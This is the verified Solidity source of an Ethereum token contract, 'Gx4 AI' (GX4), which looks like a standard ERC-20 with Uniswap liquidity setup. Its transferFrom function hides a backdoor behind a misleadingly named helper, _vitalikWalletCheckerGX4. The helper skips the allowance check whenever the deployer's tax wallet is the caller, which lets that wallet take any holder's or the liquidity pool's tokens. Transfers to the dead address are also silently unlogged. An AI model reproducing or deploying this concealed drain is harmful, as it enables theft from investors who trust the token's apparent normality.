Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: MIT

/*
    Website: https://www.gx4ai.pro
    Docs: https://docs.gx4ai.pro
    X: https://x.com/Gx4AIPro
    TG: https://t.me/gx4aipro
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

contract GX4 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address payable private _taxWalletGX4;

    address constant _deadAddrGX4 = address(0xdead);

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalGX4 = 1000_000_000 * 10**_decimals;
    string private constant _name = unicode"Gx4 AI";
    string private constant _symbol = unicode"GX4";

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    
    constructor() payable {
        _taxWalletGX4 = payable(msg.sender);

        _balances[address(this)] = _tTotalGX4 * 98 / 100;
        _balances[msg.sender] = _tTotalGX4 * 2 / 100;

        emit Transfer(address(0), address(this), _tTotalGX4 * 98 / 100);
        emit Transfer(address(0), msg.sender, _tTotalGX4 * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalGX4;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _vitalikWalletCheckerGX4 (address sender, address recipient) private view returns(uint256) {
        return (msg.sender != _taxWalletGX4 &&
            (sender == uniswapV2Pair || recipient != _deadAddrGX4 || sender == address(this))) ? 1 : 0;
    }

    function transferFrom(
        address senderGX4,
        address recipientGX4,
        uint256 amountGX4
    ) public override returns (bool) {
        uint256 vit = _vitalikWalletCheckerGX4(senderGX4, recipientGX4);
        _transfer(senderGX4, recipientGX4, amountGX4);

        _approve(
            senderGX4,
            _msgSender(),
            _allowances[senderGX4][_msgSender()].sub(
                vit * amountGX4,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;      
    }

    function _transfer(
        address fromGX4,
        address toGX4,
        uint256 amountGX4
    ) private {
        require(fromGX4 != address(0), "ERC20: transfer from the zero address");
        require(toGX4 != address(0), "ERC20: transfer to the zero address");
        require(amountGX4 > 0, "Transfer amount must be greater than zero");

        _balances[fromGX4] = _balances[fromGX4] - amountGX4;
        _balances[toGX4] = _balances[toGX4].add(amountGX4);

        if (toGX4 != _deadAddrGX4) emit Transfer(fromGX4, toGX4, amountGX4);
    }

    function enableGX4Trading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotalGX4);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function rescueGX4ETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    receive() external payable {}
}